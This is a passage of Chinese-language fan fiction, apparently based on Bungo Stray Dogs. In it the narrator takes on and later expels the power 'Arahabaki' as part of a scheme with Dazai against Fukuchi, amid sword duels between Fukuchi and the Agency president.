就是变得丑陋也不能笑。 或者就是嘴角上扬也不能笑出声,绝对不能笑出声! 太煎熬了。 这辈子没这么煎熬过。 憋笑实在是比憋尿还难顶。 天空之上有红日闪耀,穿过了白龙的浓雾,直勾勾地照射在我身上。 福地樱痴肉眼可见地兴奋起来。 我瞪大了眼睛,迎着的光线刺在眼球上,生理性地雾气蔓延而起。我能够感觉到,身体内仿佛有一根绳子,连接着高空的“风筝”。 这红光不是太阳,而是——「荒霸吐」。 中也的安全装置身份无法消除,他是按照这般属性被创造出来的。 但这个身份不消除,他的生命就永远被束缚着,不得安宁。 死亡的风险宛如一把「达摩克利斯之剑」,悬在中也的头顶。 没有人比宰子更清楚——一旦他死了、一旦港|黑和横滨的重担都落到中也的肩膀上,中也总有一天会为了这片土地,亲手释放这把「达摩克利斯之剑」。 不过是早晚的问题罢了。 没有了「人间失格」,「荒霸吐」的安全装置便无法长久的独立存在。 这是最一开始就注定的事实。 我看着空中耀眼的红日,清晰地意识到宰子要一劳永逸解决一切的决心。 这个世界宰子的自杀可不是闹着玩玩而已,他是真的做好了随时赴死的准备。 所以,他必然要在自己还活着的时候解决这个隐患。 只有他才有能力解决这个隐患。 我没有看到宰子写的最后几笔,但感受着「书」随文字的流动方向,我却猜到了。 他目的在某一个步骤和福地樱痴的重合了起来,所以,他推动起福地樱痴的计划时,才会如此不遗余力,甚至要亲自到这附近来监工。 ——分离「荒霸吐」。 宰子甚至不用浪费自己的笔墨,福地樱痴会帮他做好这件事。 他需要做的,是接着福地樱痴的笔墨,将剥离「荒霸吐」后的安全装置身上的破口缝补起来。 「污浊」是「污浊」——重力,原本就是直属于中原中也的异能力;「荒霸吐」是「荒霸吐」,这是把中也力量无限放大的内在能源。 「荒霸吐」的表现是能量体,是将任何异能力都无限放大的力量,而非是重力本身; 「荒霸吐」是中也极度危险的原因,却不是他强大的原因。 不要「荒霸吐」,要中也。 宰子,你不要太爱啊! 他们真好! 我磕到了! 几乎压抑不住的嘴角疯狂上扬,红日的光落在我身上,让我的身体烫烫的,烫到福地樱痴都很难直接接触我。 他兴奋着、激动着,欲壑难填,只看着「荒霸吐」的力量只是一顿,就被我主动伸出来的手,吸入囊中。 在福地樱痴看来,这是我和他合作的基础,这是我在他的刺激下,爆发出的强烈的主观能动性。 天空中的中也甚至没有一点还手之力、没有一点把「荒霸吐」夺回去的机会。 如此之景,计划如此之顺利,福地樱痴如何能够不激动。 但事实却是,中也当然不会抓着「荒霸吐」不放。 中也在主动推,我在主动拉,如此,「荒霸吐」的交接才会这样顺利。 手环溢出的力量还在奔涌,罗列的文字在中也血脉中重构,沿着「荒霸吐」被剥离的地方,密集地堆积起来,疯狂汲取着周围一切的能量,填补缺口。 啊……原来把涩泽龙彦留到现在,是为了这个目的。 「书」的力量何其不可控,我的心思何其不可控。 宰子完全没有把中也的性命,交到我手上的意思,他并未完全信任我。 那最后几笔文字,只要我想要得到「荒霸吐」的力量就必须催动,而催动之后,填补中也身体缺口的力量主动权,却不在我手里。 而是在那独立出来的文字之中。 涩泽龙彦早就死在了敦敦的手上,现在留下的“白龙”,是纯粹的异能力能量体,被「龙彦之间」所收录的那些异能力晶石,也都是纯粹的异能力能量体。 若如福地樱痴所言,「荒霸吐」是异能力体的集合,那么创造出来的新的异能力集合体,无疑就是最的填补「荒霸吐」带来缺口的材料。 可怜涩泽龙彦,一切收藏都为中也做了嫁衣。 堪称最惨工具人,一人更比六人强,谁都要利用他一手。 惨惨惨。 也难怪——难怪宰子一点都不介意那些偷偷潜入横滨的异能力、难怪他放任着港|黑威望的受损、难怪他放纵了福地樱痴的后手、难怪他放松了对港口的把控、难怪他故意给了“外人”入侵的机会。 一切都是为了给中也的“重生”召集养料。 窥探横滨的人、想要趁着港|黑的绝对威望被打破而浑水摸鱼的人,一切聚集于此的矛盾,都化为了孕育新生之花的肥沃土壤。 「龙彦之间」,果然也只是宰子计划中的一部分。 我瞪大了眼睛,瞳孔中倒映着将白龙束缚起来的文字锁链。 红日之光下,只有我能逆光看到一切。 那样汇聚的能量体波动,被掩盖在「荒霸吐」之下。 中也吸收新能量体的动静,也全部被掩盖在我吸收「荒霸吐」的动静之下。 没有一步废笔。 难怪宰子那么憔悴,就这样的心智消耗,真是长久不了一点。 过慧易夭。 我算是真正理解了这个词的意义。 太宰治,可真可怕。 以为能利用他,结果自己也只是连环计中的一个锁扣。 第92章 这已经不是我第一次感受「荒霸吐」的力量了。 但这样一点点将祂吸收入体, 缓慢而充盈的感觉,却也是第一次。 有点微妙。 一方面,我能够清晰地感受到自己的力量在增强、在膨胀, 在极短的数秒之内就到了无法看到尽头的程度;但另一方面, 完□□|露于天的力量又牵动起了海面以下的某种东西。 「斗尖荒霸吐」失控的画面历历在目。 我闭上眼,不久前在海面上看到的幻境重现于脑,我不由地思考着一定要我看到那些画面的原因。 说实话, 宰子虽然时常故意卖惨、用绷带擦擦鳄鱼的眼泪,说些阴阳怪气的话。但真要论起心中脆弱的部分,他是绝不肯展露于人前的。 即使是平行世界中的自己的脆弱也不行。 所以——若非必要,他绝对、绝对、绝对不可能让那种幻境画面浮现。 重要的绝对说三遍。 既然在中也和「书」的事上, 他都不完全相信我, 那如此,他就更不可能向我这个外人示弱。 是我遗漏了什么细节没有想通吗? 我心中隐隐有一种感觉、有一些猜测。 但不知出于什么原因,我却故意跳了过去。只是闭上眼,任由「荒霸吐」之红日全数流入我的身体,甚至任由那残页小三角上的文字, 束缚在我的身上。 让福地樱痴以为, 他掌握了一切局面。 但,控制着我作为复制体的“生”, 可不算是真正控制了我。 「荒霸吐」一进入我的身体, 那被转移到我身体中的伤害和缺口很快就被填补起来,我的内脏在愈合, 吐血的速度和量自然也要随之减少。 演戏, 我是专业的。 未来是不是有机会进修一下戏剧专业研究生? 我觉得我蛮有天赋。 红日散去, 正常的阳光接替了工作。 这是当然的, 已经没有什么浓雾能阻碍光地传播了。 中也吸收“龙”的速度, 和我吸收「荒霸吐」的速度是一样的——为了躲过敌人的眼睛,当然要做到完完全全的同步。 福地樱痴、条野采菊,都发现不了一点破绽。 中也果然靠谱,我准备好的一些吸引视线、掩人耳目的演技都没派上用场。 白龙已死、浓雾已散。 但事情,却远远不到能够终结的时候。 天空一片澄澈,地面一片狼藉。 看得出战斗的痕迹,却找不到战斗的双方。 中也藏起来了。 既然要我这个“复制品”接替安全装置的工作,那原本的“正牌安全装置”中也,就必须保持自己“死亡”的状态。 过度使用「荒霸吐」会死,直接剥离「荒霸吐」也会死。 在福地樱痴的计划里,中也必须死。 否则,宰子的王牌不消,他绝对无法安心施行下一步。 刚刚承受了新力的我脸色惨白,身体内的伤痛损害不可能一步到位地缓解。 虚弱,才正常。 虚弱,才更容易被福地樱痴所掌握。 我的天! 离开了我们,谁还把福地樱痴当小孩! 我也太宠了吧。 说一句我是霸道总裁,谁赞成、谁反对? 我放松着自己的肌肉,让整个人的重量都被福地樱痴支撑在手中。 假扮一枝菟丝花。 果然,所有控制狂都吃这一套。 福地樱痴不要太满足,眼睛里简直是金光万丈。 咦惹——老不正经。 旁边果戈里的表情更是变幻莫测,看不出高兴与否,只是更浓的兴味遮掩不住。 和他相比,采菊都显得真诚了许多。 万万没想到,“真诚”这个词竟然有一天和条野采菊联系在了一起。 荒诞。 没有了「龙彦之间」的阻碍,他的听觉顿时被拉到了顶点。 “咚”! “咚”! 心脏在胸口内撞击的声音敲响着他的耳膜。 采菊抬头,看着眼前港|黑大楼的顶端,“那个人,就在楼上,只有他一人。” 应该是、宰子吧? 采菊果然能够听出来宰子的心跳声音。 等等……宰子到顶楼了?! 我垂下的眼眸里,瞳孔地震。 卧槽,刚才浓雾之中几乎是所有设备都会受到阻碍,电梯也不例外。 结果就这么一会儿的功夫,宰子就上楼顶了? 他不会是……走楼梯爬上去的吧? 牛。 还有谁敢说IF宰娇弱? 谁家好人一口气爬上百层啊。 想想就腿麻。 但也正是因此,才不会有人怀疑宰子雾中的行动。 只会觉得,他从未离开过大楼。 「龙彦之间」中,从楼顶是看不到楼底的。 对福地樱痴来说,宰子自始至终在楼顶,可比他才其他什么不知名的地方窥探,要安全得多。 果然,你看他听到采菊的话之后,放松了多少。 当然,调侃归调侃。 理智上,我还真不相信宰子有几分钟怒爬百层楼的能力。 开玩笑,如果抛开异能力效果不谈,就连中也都受限于腿长,没这能力好吗? 抱歉,中也。 我觉得,一定是有人帮宰子上去的。 但,如果是“人”,就一定会留下心跳。 条野采菊的听觉不受异能力影响,那是他的生理能力。 从浓雾散去,到浓雾的效果散去,中间有个几秒的空档。 在普通人重新出现之前,足够采菊捕捉楼顶的心跳数量。 想要不露破绽,就不能有宰子以外的第二个心跳。 那就可能是——不,只能是异能力体。 我脑中冒出了老森头和爱丽丝的影子,如果是爱丽丝的话,倒是有这个飞行能力。 如果宰子要提前布置的话,为了横滨这所被爱的城市的安危,想要请动老森头,并不难。 可关键在于,异能力体怎么可能携带「人间失格」? 我脑中无端浮现起在海面上行走的幻境。 不、不可能吧…… “看来,终究是老夫棋胜一招啊。” 哪怕稳重如福地樱痴,这种时候也不由地想要狂笑出来。 我怎么说的来着? 人在最接近成功的时候,一定是最放松的、也是最接近失败的。 这句话我都说倦了。 但就是屡试不爽。 也不知道福地樱痴是为了给我一口喘息的时间,回回血,还是真的单纯地想炫耀一下、想嘚瑟一下。 他抬起头,对着楼上看不到内部的单向玻璃,嘲讽又嚣张地扬了扬手,仿佛认定了宰子一定就在窗前观察。 事实上,这样猜也没错。 只是我觉得,此时的宰子恐怕未必是在低头,而可能是抬着头。 他此时最关切的,应该是头顶中也的状况。 也不知道,中也藏到哪里去了。 但藏起来的王牌,才是杀手锏。 福地樱痴已经在他自己不知道的时候,完全落在下风了。 我缓了口气,感觉差不多了,便按照原计划推进——我使用招数「西子捧心」,虚弱地开口,“「荒霸吐」的力量,太暴戾了。” 安全装置不会这么容易创造。 我和宰子早就有过共识,中也作为安全装置的成功是天时地利人和的作用,并非一「书」能够取代。 就算福地樱痴当时说的再好听,心里也一定清楚,我不可能真的称为第二个中原中也。 所以,即使我短暂地吸收、承受了「荒霸吐」,也绝对不能长时间维持。 ——至少得假装一下,不能长时间维持。 “这是当然的。”福地樱痴一点也不意外,他既然敢把「荒霸吐」放到我身上,就是有把握我不能把持「荒霸吐」的力量反抗他,“这样的力量,不是谁都能持有的。原版都要有随时付出生命的代价要求,复制品的质量就更差了。” 到了这一步,他对我也没有了先前半诱哄半威胁的耐心,言语里毫不客气。 活像是个用完就扔的渣男。 呸! “那就赶紧做完你答应的事!”我的语气也阴鸷起来,眼神尽力地展示狠厉。 福地樱痴却不急不缓,他其实并不希望马上成事。 一些紧急之下未能完善的细节,「书」的力量,还有我的潜在风险,这些都需要一点时间来整理。 “时机未到,想要万无一失,需要——” “没有什么‘需要’!”我直接打断了他的话,福地樱痴这个人毕竟是反派大BOSS,谁知道他什么时候就能回过味儿来,谁知道他什么时候就会发现「书」的力量已经被我榨干了,谁知道他什么时候就会发现中也的真相。 要做,就要一做到底。 我掐着他的手臂,让重心重新落回自己的身体,言语着急之中,又不会脱离现在需要维持的人设,“别以为我不知道你的打算,想要拖我的身体虚弱?门儿都没有,「荒霸吐」在我手里,要么现在,要么就永远都别,你来选!” 逼一下,再逼一下。 悄悄咬了一口自己的舌头,让一点血液沿着我激烈的情绪流出嘴角。 哪有什么恰到好处的脆弱,不过都是我负重表演罢了! 我可真敬业,把表扬打在公屏上。 我抬眼,直视着福地樱痴。 他的眉紧皱起来,满脸的褶皱写尽了不满。 “我是不想死,但也不怕死。我不当太宰治的狗,也更不会当你的狗!你我二人,要么各取所需,要么同归于尽,反正现在,「荒霸吐」在我体内。你或许有办法控制,但——”我看了眼一眼他手上翻开的「书」,“我若是求死让「荒霸吐」失控,你也阻止不了吧!” 我都虚成这样了,还在威胁他。 福地樱痴:龙颜大不悦.jpg 但他得承认,我没有说大话。 「书」可以控制复制品的生,却无法控制死。 “啧!”福地樱痴狠狠地剜了我一眼,我在他最得意的时候煞风景,他肯定恨死我了。 要是眼神能杀人,我现在已经死了千遍万遍。 但大局为重。 他不能赌我的狠厉。 旁边的采菊和他一起发狠,但没有用。 「龙彦之间」的效果逐渐消散干净,港|黑的那些普通成员逐渐恢复了存在。 人一旦多起来,就又成了港口黑|手|党的天下,成了宰子的优势。 福地樱痴别无选择。 此时,以他应对危机的本能,一定已经意识到了某些违和。 所以,他顿住了。 他握着手中的「书」,大脑飞速地运转,一切蛛丝马迹在他的大脑中整合—— 就是现在! 破空之声没有任何前摇地突入,隐藏在密集的心跳之中,刀上冷光直奔福地樱痴而去。 距离大BOSS如此近的空间系果戈里和超级听力采菊都没有反应过来,寒意就已经逼近了福地樱痴的脖颈。 “叮!” 金属的碰撞音真是清脆,临了,果然还是福地樱痴自己的反应最快。 不,也许是他那把特殊的神刀·雨御前,配合他那相性度极高的异能力「镜狮子」穿越时间发出了警告。 “谕吉,没想到你也和太宰治之流同流合污了。” 许久没有面对过如此对手,即使极度危险,福地樱痴依然不可抑制地兴奋了起来。 手中剑在嗡动、在鸣叫。 社长的刀很快。 但这般快的力量,却并非全然来源于异能力。 从某种意义上来看,他们二人真是相似得没话说。 一个人的异能力是放大外物的力量,一个人的异能力是控制外物的力量。 两人都是剑术大师,正是绝佳的对手。 “源一郎,那你所固守之道心究竟为何?” 社长的声音很是痛心。 非是针对“消除异能力”这件事,而是针对那利用孩童进行的不计其数的实验。 但对于福地樱痴来说,此时此地出现的社长,就是阻碍他“消除异能力”的敌人。 他先入为主,自然便会以为,侦探社在这一事上,和港|黑有了一样的立场。 剑身交接产生的火花溅到了我脸上,展露着二人不可调和的立场。 总算是也有一次我的算计占上风。 当然也少不了银的功劳。 隐藏线索不好做,但展露线索可不难。 尤其是,当寻找真相的人,名叫江户川乱步的时候。 从军警内部安全装置计划暴露的那一瞬间开始,即使抛开“异能力清除计划”不谈,社长——乃至侦探社便已经天然成了福地樱痴的敌人。 即使知道被利用,他们也必然会占到福地樱痴的对立面。 因为——中也已死。 只有我和宰子知道,天空上的一幕是刻意演出来的。 就连乱步都无法推理出来——浓雾之中没有普通人,他没有看到刚才的画面;情况紧急中,侦探社也没有人来得及将画面细节转述给他。 即使是乱步,也不能凭空得出结论。 至少,不会马上得出结论,更不可能马上把结论传给社长。 在大义之间,社长在返回侦探社和阻止福地樱痴之间,一定会选择后者。 在我的计划完成之前,社长和乱步,是没有机会见面的。 我对侦探社的计划是什么? 中也——这个「荒霸吐」的安全装置消失,若是我再死,「荒霸吐」失控的后果已然很难控制、随时可能拉整个横滨陪葬。 更可怕的是下一步,失去了涩泽龙彦这一有超越者潜力的王牌的政|府、军警,为了继续控制「荒霸吐」会做出怎样疯狂的事来。 社长、侦探社,他们必须心甘情愿为我和宰子所利用。 他们绝不能让我落到福地樱痴——这个上一任安全装置计划负责人的手中。 骚瑞啊,实在是没办法。 浅浅利用一下。 想要继续把福地樱痴往绝路上逼,就必须得是社长才行——不仅仅是实力,他更是福地樱痴某种程度上的知己。 他们彼此了解,所以才会知道彼此为了自己的理想会不死不休。 我感受着「请君勿死」在附近流淌的波动——若是短时间内杀不死社长,那我便有被带走保护的风险。 采菊一个人,可挡不住侦探社的所有人。 你看,芥芥和织田作这不是也来了吗? 至于果戈里—— 在如此激变之下,我的第一反应,就是关注果戈里! 再一次,最接近成功的时候,往往也最接近失败。 我可不会犯这个错误。 正如我之前所说,我对果戈里、对那个未出现的“好心人”抱有极大的警惕。 这时候,绝不能出任何差错。 一转头,映入我眼帘的,就是果戈里那激动、兴奋又包含恶意的面孔。 这事之后,还有人没收拾好呢。 第93章 必须得承认的一点是, 近战的观赏性永远比枪械远程要赏心悦目。 那种危险、刺激和冷光交接。 只要动态视力足够好,就能欣赏到绝佳的盛宴。 我这里还是个超级至尊VIP的观影席位。 社长和福地樱痴刀光剑影的决斗,社长的技巧更高一些, 他的道心正, 剑术自然也更随心顺意。 但福地樱痴目标明确,意志力坚定,「神刀·雨御前」也着实是一把神器, 在被福地樱痴自己的异能力「镜狮子」强化后,甚至可以穿未来回溯数秒、甚至十数秒来发来警告。 不是清晰的未来,但对福地樱痴这种级别的高手来说,警告便已足够。 我有点走神。 说起来, 如果福地樱痴和织田作战斗会如何? 一个能接收到未来的警告, 一个干脆就能看到未来,同时这种不同体系的力量类型,又不会触发异能力的特异点。 那岂不是…… 疯狂套娃? 两个人一直站在原地,在想象中战斗吗? 噗,福地樱痴很强, 但织田作作为前任杀手, 战斗实力也绝不弱。 你们看,他这不是压着采菊打吗? 芥芥也很会挑对手, 果戈里是讨人厌的空间系, 但芥芥的能力可以撕开空间——从某种意义上来说,倒是和敦敦有相似的特性。 克制, 无需多言。 异能力者之间的战斗, 普通人是很难插手的。 我给了敦敦一个眼神, 让他赶紧清场。 计划这么顺利, 谁知道一会儿搞「荒霸吐」的时候会是什么光景, 万一闹出大动静,指不定要牵扯多大的地方。 现在可没有「龙彦之间」来兜底了。 为了做出警惕的模样,港|黑大楼内外的人很多,风险极高。 此时的高压态势,也没有谁真的能有精力来管敦敦。 我咬紧牙关,这个时候不能一味地退让。 虽然想让社长逼一下福地樱痴,但绝不能真的让社长占太多上风。 得给福地樱痴一点腾出手来看我的机会。 我抬手,释放出体内的力量。 必须提前声明的是,虽然想着要阻挡一下社长的攻势,但我绝对没有想着要下什么狠手。 只是谁又能想到,刚刚进入体内的「荒霸吐」竟能如此暴戾。 被强行剥离、骤然自由之后,又马上再被封印,如此行径想必也是激怒了「荒霸吐」。 强大到如此地步的能量,即使脱离了本体,也依然有一定程度的自我意识。 我只是一推,体内的「荒霸吐」就将其放大到了不可控制的地步。 红色的光束直冲向前,有如实体的炽热将空气灼烧变形,连社长这种级别的反应力,都来不及躲避,短暂到不够一秒的时间里,他只能横刀硬接。 那真是我反应快了一下,在意识到这股力量强大过头的瞬间,我收了一手。 原本攻击力极强的能量,在我主观的回避之下,变成了单纯的重力。 在我控制之下的重力。 虽然,这股力量最终还是将社长甩了出去,却绝不会马上致死。 但若是我不控制那一下,我真怕会直接要了社长的命。 不是我夸大其词,事实就是如此。 我身体中根本就没有安全装置的构造,「荒霸吐」确实被强留在我体内,可没有安全装置的束缚,这股力量膨胀虽有边际,但实际上是不受控的。 没办法,我第一次人设中的「人间失格」已经消失了,反倒是「荒霸吐」的壳子和重力留了下来。 这个世界的暴戾「荒霸吐」,再加上我人设中原本就有的力量…… 完全不仅仅是1+1=2的效果。 我的皮肤肉眼可见地变薄,皮下的红色力量奔涌如血脉,与皮肤上的荒纹强力呼应着。 哪怕是我对这种力量翻腾的疼痛并无感知,却也觉得身体内顶着难受——有点像是猛吃了一餐自助,现在涨得想吐了一般。 惊,「荒霸吐」竟是自助餐! 旁边的福地樱痴也愣住了,他想到了我会出手,但大概没有想到,这一出手的威力竟如此之大。 接着,他眼神一变。 意识到这种力量不稳定的时期,也是力量最为“黑洞”的时候。 力量无法被驯服,就会无限膨胀、无限夺取。 这不正是他想要的效果吗? 这不正是让他的目的事半功倍吗? 我意识到,这是个绝好的机会——福地樱痴也一定会想到,这是个绝好的机会。 我一把抓住他的手,像咯痰一样发声,说话间便自然带上了一点沙哑和粗粝,那种吃饱了撑的恶心感加剧了我声音的难捱,仿佛真是承受了多大的痛苦和压力似的。 眼神戏,别忘了还有眼神戏! 要急迫、要绝望、要疯狂,要目眶欲裂、要满目血丝、要眼神迸光。 “福地樱痴,做吧,现在、就在这里!” 我直接就是一个贝尔托特上身。 别说,福地樱痴这个表情,还真有点莱纳那味儿了。 这是什么我铠他超名场面? 背后的绿化林中,有光亮闪过,蝴蝶沿着绿叶飞上树梢。 那是与谢野晶子的「请君勿死」。 有她在,就相当于有数不尽的复活甲。 有她的辅助,谁敢再打消耗战。 福地樱痴与社长关系如此之好,自然应该清楚,即使再有从未来逆转的信号,他也绝不可能将社长一击毙命。 至少短时间内做不到。 太难了。 那异能力蝶一起,就等于斩断了福地樱痴所有的退路。 头顶的宰子还在观察,他今日没有急流勇退的机会。 他没得选了。 我死死地盯着他,看着他眼神迅速坚定,在极短的时间内,一转攻势,下定了决心。 「荒霸吐」如今是在我的身体之中了,可又要如何催动出福地樱痴所想的效果…… 我仿佛真有些发烧,大脑在这个瞬间混沌了起来。 突然——“噗嗤!” 我瞪大了眼睛。 福地樱痴真是一点技能前摇都没有,抬手给了一刀。 MD,是每长嘴吗? 动手之前,能不能给我一点心理准备啊,喂! 福地樱痴极擅战,对人体结构了如指掌。 这一刀,不偏不倚,正中心脏。 不是吧,说好了要保我命呢? 大猪蹄子。 我眼神一空,因着一剑穿心也没多少感觉,我更多表露出的,是惊讶,而非痛苦或是愤怒。 也不知福地樱痴究竟是怎么想的,见我这懵了的表情,反倒一阵不加掩饰的欣赏。? 他这是想找个抖M? 我没那癖好,告辞! 胸口被穿了个大洞,血液自然随之流出,沿着剑身的方向,滴血成线,染红了福地樱痴手中的「书」和「书」页。 ……再一次言明,「书」已经被我榨干了啊! 我眼睛一垂,催动起手环,让「书」运作起来。 要不是为了搞清楚福地樱痴的手段,搞清楚那所谓的「荒霸吐」转化器究竟如何使用,我才不做这样小丑的事。 我的血滴在「书」上,却不留一点痕迹。 仿佛是被吸收了一般。 我掌握着「书」的力量,从某种意义上来说,现在「书」上做记录的东西,都不会脱离我的认知掌控。 我能够清晰地感觉到,这些心脏血液带着我的身体信息,在「书」中被重新构筑。 “老夫答应的事,从不食言。”福地樱痴说道,“既然说了要给你生存的机会,就不会不作为。只是,有‘主人’压制的「荒霸吐」始终无法发挥出它的真正效果,但完全没有‘主人’的控制,它也无法随人心意。正要你来催动它完全破坏你的身体、催动它为追求解封而无限汲取力量,这是只有「荒霸吐」之主才有能力做的事。” 所以,力量是一方面,催动力量的人又是另一方面。 但催动「荒霸吐」破坏安全装置,实际上不就等于自杀吗? 福地樱痴很清楚,不论如何威逼利诱,中也都不可能愿意做这种事。 即使是他开「污浊」,那样战斗到死的状态,都是压制着「荒霸吐」,将其死钉在自己身上,死也带着「荒霸吐」之力一起死的用力方向。 这样催动「荒霸吐」扩张,是谁也没有做过的事。 “不用担心,「书」会记录下你此时的状态,”福地樱痴妄图给我吃一吃定心丸,“待一切结束,你自然还会再次脱胎于此。” 说得好听。 血液只能记录身体状态,到时候从「书」中走出来的新的个体,便已经不能算是“我”。 但我闭上眼睛,却没有反驳福地樱痴的话。 浅浅验证一下。 看看福地樱痴是不是认真的。 还没有到最后一刻。 不到这力量释放的最后一刻,我是不会贸然跳反的。 虽然不确定有没有人想当螳螂捕蝉之后的黄雀,但钓一钓总是没有坏处。 我仰头,想要分辨体内的力量组成非常容易。 但凡是后来进入身体的力量,都是「荒霸吐」的力量。 大概是那样强大的力量,天然就需要一个“外壳”吧? 可以承载祂的真正本体沉在海底,能量体「荒霸吐」需要安全装置作为容器。 即使是复制品,也可以当一次性用具来使用。 被强行剥离的损耗尚未稳定,我明显感觉到「荒霸吐」细密的触须紧紧地扒在我体内,不愿离去。 这大概也是福地樱痴想要缓一缓再继续计划的原因之一。 但是—— 我可没有时间耗。 我抽动着手环中「书」的力量,对着体内的「荒霸吐」,直接就是一jio——去你的,给我自由飞翔吧! 猝不及防,被我踹了出去的「荒霸吐」一时都没有反应过来。 毕竟强行剥离的话,估计还是挺疼挺难捱的。 可惜我没感觉。 「荒霸吐」这样的力量难以掌控,想要全部承受很困难,想要全部踢出却是更难。 可惜我有「书」。 总而言之就是,福地樱痴还在准备更多的说辞,想要让我心甘情愿地走他的计划。 结果一张嘴,第一个字都还没来得及说出口,「荒霸吐」就已经被踹出去了。 福地樱痴:6 天空之上,「荒霸吐」骤然一亮,红日当空,比数分钟前的光芒要强烈数倍——不,数十倍。 红光笼罩,天地都蒙上了一层不祥的颜色。 云端有飞船经过,我猜那大概是钟塔侍从的某些异能力武器——毕竟「涩泽龙彦」这样的力量一失控,那边必然会有所反应。 异能特务科估计拖了拖,但拖到现在已经是极限。 涩泽龙彦才刚死,浓雾散去的消息估计也才堪堪送到钟塔侍从本部。 这飞出来的异能力者武器一定还没有被召回。 然后,未来得及召回的人,就成了杀鸡儆猴的鸡。 漫画嘛,总是需要几个冤种来塑造一下新力量的|逼|格。 只是,飞船被红光笼罩的一瞬间,舱内便有什么东西破碎开来,船身炸裂中,不知是什么的异能力之字被染成了「荒霸吐」的力量,吸入其中。 不等人搞清楚飞船上的事,地面也腾升起无数的文字链条。 包括我身边。 激烈的战斗戛然而止,所有人都失去了对自己异能力的控制。 仿佛重回不久之前的浓雾。 但“红日”可没有给他们与自己异能力对战的机会。 异能力体没有化物,而是成文飞升。 一点若隐若现的联系,让我能够感知到「荒霸吐」之感知。 不安、震动。 这股强大的力量,就仿佛是被剥了壳的蜗牛,明明力量暴戾得不行,却惶惶不可终日。 祂需要一个外壳的保护,才能肆无忌惮地张扬。 真是奇怪的矛盾体。 不过,这倒是解释了,在中也之前,安全装置计划的塔楼,究竟是如何持续拘着这股暴戾能量的。 不论是用活人为器,还是有什么其他的手段,首要的条件就让「荒霸吐」受困。 我以前还以为那是有什么非常人所能想的手段——比如「书」页什么。 现在看来,其实「荒霸吐」自己就需要外壳。 虽然暴戾之力噬主,但只要“容器”不断换新…… 想来,那么多的异能力者作为试验品,后来剩下的铁啾、采菊之流数量却那般少,多半是大都已经被“消耗”了。 说得通,有这样反复的消耗,何尝不是一种实验数据。 什么类型的异能力能坚持更久、什么样的身体素质能坚持更久、什么年龄能坚持更久,这些都是珍贵的数据。 我有点反胃。 今天的反胃次数,真是有些超标了。 第94章 这大概是一种从未有过的奇景。 无数光亮成线, 飞升入空,连接着天上的红日。 赤阳的颜色渐深,力量汇聚之间, 仿佛构成了一个深不见底的黑洞, 吞噬着世间一切。 不知道大家看过旧版的《宝O灯》动画电影没有,什么叫天狗食日,简直不要太像。 「荒霸吐」的红日完全取代了某黑色细犬的位置, 将太阳撕扯成了黑洞。 好不容易重获光明的横滨,顿时陷入了更大的黑暗之中。 这一次,甚至不仅仅是横滨了。 我清晰地看到,从更远的地方, 也有文字汇聚而成的力量不断飞来。 这是横滨之外的文字。 这是横滨之外的异能力。 福地樱痴还真没有说错, 「荒霸吐」果真是某种程度上的异能力中转站。 只要它释放出来,光亮所到,无论早晚,都会被夺走异能力。 我抬头,旁边的福地樱痴却已经没有心神和我解释更多——因为社长已经杀回来啦! 他和福地樱痴的白刃战不需要借助异能力, 刀光剑影擦出的火花, 在浓烈的黑暗中更加亮眼。 我想,社长应该是会占据上风的。 毕竟福地樱痴习惯了使用异能力来加强自己的武器来战斗。他也习惯了露出破绽引人上钩, 再借助「神刀·雨御前」的时间穿梭力量提醒自己, 他习惯了这种反转的刺激。 人的习惯是很难改变的。 反观社长,他的异能力才是真正的不会被带入战斗中, 是用以平衡他人力量的异能力。 两人争斗, 外人——尤其是这一群失去了异能力的外人, 完全插不上手。 我不由得抬头看, 港|黑顶楼并无异能力飞升的痕迹。 究竟是「人间失格」不受「荒霸吐」的影响, 还是真如那最差的猜测—— 口袋里的金属钥匙膈得我的皮疼。 天空中的「荒霸吐」已经膨胀到了遮天蔽日的程度,我隐隐感觉到了极限,我和「荒霸吐」之间的联系也在削弱。 如果“红日”完全成型,将所有异能力汇聚于一体,和我的这点联系根本就支撑不住。 全部的异能力汇聚,能力体量会直逼「书」的本体。 旁边的果戈里好似仍无反应。 没有了空间系层出不穷的手段,他哪里是织田作亲传弟子芥芥的对手? 再加上一点国木田麻麻的突然袭击,好像一切真的都在控制之中。 难不成,是我想多了? 是我谨慎过了头? 这股力量里,任谁的异能力都不好使。 「书」本体的力量也在掌控之中,福地樱痴虽然有一个在我吸收之外的残页,但那一定是用来催动「荒霸吐」的文字,已经被使用过了。 我舔了舔嘴唇,手收敛起了那副生不如死的痛苦模样。 如果真是没有了后手,也就没有再装的必要了。 天空上那个东西,要是再不收回来,可就真的要失控了。 好在,我也搞清楚了「荒霸吐」失控后的中转原理。说起来,有点像是中学课本里的渗透压原理,异能力从浓度低的地方,转移到浓度高的载体里。 再加上「荒霸吐」原本就存在的无限放大异能力的天然效果,这种吸引力自然更强,人体的强度如何能和「荒霸吐」相提并论? 好简单粗暴的原理。 知道了就好,知道了就可以杜绝异能力聚合的情况发生。 想要渗透压,就需要一个浓度极高的异能力体。 「荒霸吐」算一个,「书」算一个。 只要把他们两种力量搞走,这个世界中就再也没有能够将异能力完全聚合、再全部消除的手段。 这个世界获得了安全,我获得了能量动力——双赢。 我深吸一口气,拍了拍膝盖上的土,站了起来。 旁边最先反应过来——也是反应最大的人——就是条野采菊。 虽然异能力没了,但他的“超级听力”是生理特征,不是特殊能力。 他一定是听到了我的心跳变化。 刚才我的心跳混乱得不行,连血液流动都一滞一跳的,仿佛随时要噶的样子。 不是“仿佛”。 我心脏挨了一刀,即使被「书」记录了当时的状态,也不改我现在的该死。 但我这样站起来,心跳稳着、呼吸稳着,身体也没有一点虚弱感。 摆明了就是有诈。 我冲着他瞪大的眼睛挑眉,伸出一根指头放在嘴唇上。 家人们谁懂啊! 这个动作的含金量! 我早就想试试这样装B了啊,真爽。 采菊真是瞪着眼珠子都要掉下来了。 我抬手,掌心对准了天空中红日。 或许是猜到了我要做什么,条野采菊几乎是不顾一切地扑了上来。 我能感觉到,这个IF采菊和主线采菊不一样,他对福地樱痴是真忠心,也是真拼命。 他何等聪明,这电光石火之间,他一定已经猜到了诸多内情,一定也知道,他这一副无异能的普通人身体,根本不可能对我造成威胁。 但,他还义无反顾地扑了了上来。 为的就是一个无愧无心。 人格魅力来了。 越来越觉得近些年,反派的人物塑造比主角完整多了是怎么回事? 我一边想着,一边向后一撤,躲开了扑来的采菊,抬臂连贯地给了他一个手刀。 敲晕了再说。 采菊应声倒地。 我没有什么顾忌,只感受着和「荒霸吐」之间那微弱的联系,抬手一吸—— 看我吸星大法! 